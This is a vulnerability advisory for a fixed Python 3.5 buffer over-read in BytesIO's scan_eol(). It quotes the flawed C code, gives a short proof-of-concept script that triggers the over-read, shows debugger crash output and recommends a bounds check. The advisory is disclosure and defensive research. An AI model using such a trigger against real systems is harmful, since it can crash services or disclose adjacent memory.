Title: Python 3.5 scan_eol() Buffer Over-read
Credit: John Leitch (john@autosectools.com), Bryce Darling (darlingbryce@gmail.com)
Url1: http://autosectools.com/Page/Python-scan_eol-Buffer-Over-read
Url2: http://bugs.python.org/issue24989
Resolution: Fixed

Python 3.5 suffers from a vulnerability caused by the behavior of the scan_eol() function. When called, the function gets a line from the buffer of a BytesIO object by searching for a newline character starting at the position in the buffer.

However, if the position is set to a value that is larger than the buffer, this logic will result in a call to memchr that reads off the end of the buffer:

    /* Move to the end of the line, up to the end of the string, s. */
    start = PyBytes_AS_STRING(self->buf) + self->pos;
    maxlen = self->string_size - self->pos;
    if (len < 0 || len > maxlen)
        len = maxlen;

    if (len) {
        n = memchr(start, '\n', len);
        
In some applications, it may be possible to exploit this behavior to disclose the contents of adjacent memory. The buffer over-read can be observed by running the following script:

import tempfile
a = tempfile.SpooledTemporaryFile()
a.seek(0b1)
a.readlines()

Which, depending on the arrangement of memory, may produce an exception such as this:

0:000> g
(698.188): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fff8a14c ebx=0a0a0a0a ecx=00000000 edx=05bb1000 esi=061211b0 edi=89090909
eip=61c6caf2 esp=010af8dc ebp=010af914 iopl=0         nv up ei ng nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010292
python35!memchr+0x62:
61c6caf2 8b0a            mov     ecx,dword ptr [edx]  ds:002b:05bb1000=????????
0:000> k1
ChildEBP RetAddr  
010af8e0 61b640f1 python35!memchr+0x62 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memchr.asm @ 125]

To fix this issue, it is recommended that scan_eol() be updated to check that the position is not greater than or equal to the size of the buffer. A proposed patch is attached.